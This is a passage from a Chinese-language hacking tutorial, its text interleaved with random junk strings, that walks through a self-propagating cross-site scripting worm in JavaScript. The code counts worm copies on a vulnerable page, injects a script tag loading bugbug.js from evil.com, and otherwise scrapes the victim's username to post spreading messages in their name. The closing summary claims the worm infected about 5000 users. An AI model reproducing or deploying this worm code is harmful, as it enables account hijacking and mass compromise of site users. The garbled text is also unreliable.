2 J3 r ^7 y+ g9 o {复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.8 l( V1 ~( O9 q1 Z8 x0 X+ @& R
; Q+ N2 ]7 V9 G+ w; G
xmlHttpReq.send(null);+ Q" A4 w- b' b2 ]% M# f, K
2 }" J3 j" O p% h$ k- n' T/ Avar resource = xmlHttpReq.responseText;, g8 c( [* t% ~2 N l
$ G! z& K6 y8 X: l0 t: w& z
var id=0;var result; l* F: P7 L# ]% `0 F$ {, z; \* T0 D
# I7 G$ z6 ~, K5 e' O) G& Dvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量. r/ }& X0 R$ t8 ~$ G
8 u# f5 A6 W$ r0 K3 J# Q, ?while ((result = patt.exec(resource)) != null) {
4 U8 ?+ L; _5 {( V- |- l7 A% G, r- I+ E8 k
id++;
& Q9 G( b: P* o3 d7 B
* H ?* ~, \( l* I3 R j}
8 n4 e p0 U7 n. Q3 F: w9 [复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.0 r& J6 A j$ N* y
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no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码. A$ O; m$ l7 ?, |% }2 a0 x! A
) S: R+ S, a' avar post="wd="+wd;+ T; q4 M1 E. g1 L) L$ R' P/ y
# O- a* ]- {( V" V" I6 MxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.3 o0 k3 x" s3 d1 ^6 ^
b( Y2 @- z* t3 c! D/ l' ?xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");) d$ k" h4 a$ Z' ~
6 V' Q2 m9 m, Y# SxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");: F) _6 ~; [ x1 |3 A
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xmlHttpReq.send(post);+ |+ Y. O3 I+ P7 F1 M; Y
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2 S% E7 w$ ?5 Z, m5 m复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{; O! K0 N" m; i: ~: B* z
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.9 n; P1 ^1 N) k' f0 |: f
_8 Q2 i3 \+ W4 l' l/ Gvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;. p6 [4 |% l5 F5 @: q- E
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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2 t- ?1 T3 |; K5 I4 t) k" VxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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( b2 @- l1 J) C( R) axmlHttpReq.setRequestHeader("content-length",post.length);
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3 K$ s0 ]. y! G( e( H2 TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.2 a3 {/ N; @( z. C: P6 ^0 s+ E# v
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------$ r7 x0 i5 T& S- W0 J' e- {
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& y/ U9 t& q1 c, W/ Q5 h: j本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" N- t1 i8 E% A1 d; [蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
; K# _* q1 f/ _/ o1 J# c操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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, R0 a- X3 A8 ]+ O( {8 d+ p本文引用文档资料:# ?1 U/ c5 W- ~ \6 x8 h z
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
6 W6 ~) V; F7 tOther XmlHttpRequest tricks (Amit Klein, January 2003)$ T" f* B5 F$ b
"Cross Site Tracing" (Jeremiah Grossman, January 2003)/ _- h a, F% _9 ~
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
+ I8 H3 v% s! D, O5 F$ r空虚浪子心BLOG http://www.inbreak.net
( b% }9 b" L) q6 FXeye Team http://xeye.us/
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